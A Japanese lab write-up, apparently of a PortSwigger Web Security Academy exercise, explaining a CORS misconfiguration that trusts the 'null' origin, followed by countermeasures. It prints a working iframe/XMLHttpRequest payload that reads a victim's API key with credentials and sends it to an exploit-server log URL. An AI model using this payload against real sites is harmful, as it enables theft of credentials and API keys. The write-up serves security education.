Hello there, ('ω')ノ
💡 このラボの目的
このラボでは、CORS設定が誤って "null" オリジンを信頼しているケースを利用し、管理者のAPIキーを盗む手法を学びます。
🔍 脆弱性の概要
多くのWebサイトでは、開発効率のためにCORSを使ってクロスドメイン通信を許可していますが、以下のような誤った設定がしばしば見られます。
Origin: nullを 信頼済みオリジンとして許可しているAccess-Control-Allow-Origin: nullを返し、Access-Control-Allow-Credentials: trueを付けてしまう
これにより、nullオリジンを利用したiframe経由の攻撃が成立します。
🛠 攻撃手順まとめ
① 自分のアカウントで確認
- ラボにログインし、
My accountページにアクセス - Burpで通信を確認し、
/accountDetailsがAJAXでAPIキーを返していることを確認
② CORS動作を確認
/accountDetailsのリクエストにOrigin: nullを追加して送信- レスポンスで
Access-Control-Allow-Origin: nullが返っていれば脆弱性あり!
③ Exploit用コードを作成
Exploitサーバに以下のコードをアップロードします(YOUR-LAB-IDとYOUR-EXPLOIT-SERVER-IDは適宜置き換えてください):
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('GET','https://YOUR-LAB-ID.web-security-academy.net/accountDetails', true); req.withCredentials = true; req.send(); function reqListener() { location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText); }; </script>"> </iframe>
④ 検証と送信
- 「View exploit」で自分のAPIキーが盗まれるか確認
- 「Deliver exploit to victim」で管理者にエクスプロイトを配信
- 「Access log」から管理者のAPIキーを取得し、提出してラボを完了
✅ 攻撃成功のポイント
sandbox属性により、iframe内のJSはOrigin: null扱いになりますwithCredentials: trueでCookie付きのリクエストを送信可能- サーバが
nullオリジンを信頼してしまっているため、認証情報が漏洩します
🛡 対策
Access-Control-Allow-Origin: nullを絶対に許可しないAccess-Control-Allow-Credentials: trueを設定する場合、厳格にオリジンを制限する- 必要最小限のオリジンのみをホワイトリストに登録し、ワイルドカードや文字列一致には注意
Best regards, (^^ゞ